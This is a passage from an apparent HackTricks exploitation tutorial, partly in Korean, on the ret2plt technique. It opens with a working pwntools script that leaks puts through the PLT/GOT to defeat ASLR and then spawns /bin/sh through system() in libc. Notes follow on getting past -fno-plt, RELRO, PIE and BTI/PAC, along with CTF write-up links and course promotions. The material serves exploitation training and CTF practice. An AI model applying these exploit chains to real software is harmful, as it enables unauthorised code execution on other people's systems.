elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()

p.recvline()

payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)

payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )

p.sendline(payload)

p.interactive()

</details>

## Modern considerations

- **`-fno-plt` builds** (common in modern distros) replace `call foo@plt` with `call [foo@got]`. If the binary has no `foo@plt` stub, you can still leak the resolved address with `puts(elf.got['foo'])` and then **return directly to the GOT entry** (`flat(padding, elf.got['foo'])`) to jump into libc once lazy binding has completed.
- **Full RELRO / `-Wl,-z,now`**: GOT is read‑only but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will also perform lazy binding and then print the resolved slot.
- **ASLR + PIE**: if PIE is enabled, first leak a code pointer (e.g., saved return address, function pointer, or `.plt` entry via another format‑string/infoleak) to compute the PIE base, then build the ret2plt chain with the rebased PLT/GOT addresses.
- **Non‑x86 architectures with BTI/PAC (AArch64)**: PLT entries are valid BTI landing pads (`bti c`), so when exploiting on BTI‑enabled binaries prefer jumping into the PLT stub (or another BTI‑annotated gadget) instead of directly into a libc gadget without BTI, otherwise the CPU will raise `BRK`/`PAC` failures.
- **Quick resolution helper**: if the target function is not yet resolved and you need a leak in a single shot, chain the PLT call twice: first `elf.plt['foo']` (to resolve) then again `elf.plt['foo']` with the GOT address as argument to print the now‑filled slot.

## Other examples & References

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, 첫 단계는 canary의 0x00 바이트까지 overflow를 채워서 puts를 호출해 그것을 leak하는 것입니다. canary를 알게 되면 puts의 주소를 GOT에서 leak하기 위해 puts를 호출하는 ROP gadget을 만들고, 그 다음 `system('/bin/sh')`를 호출하는 ROP gadget을 사용합니다.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, child 함수로부터 main에서 발생하는 stack overflow. puts를 호출해 GOT에서 puts의 주소를 leak하는 ROP gadget을 만든 다음 one gadget을 호출합니다.

## References

- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>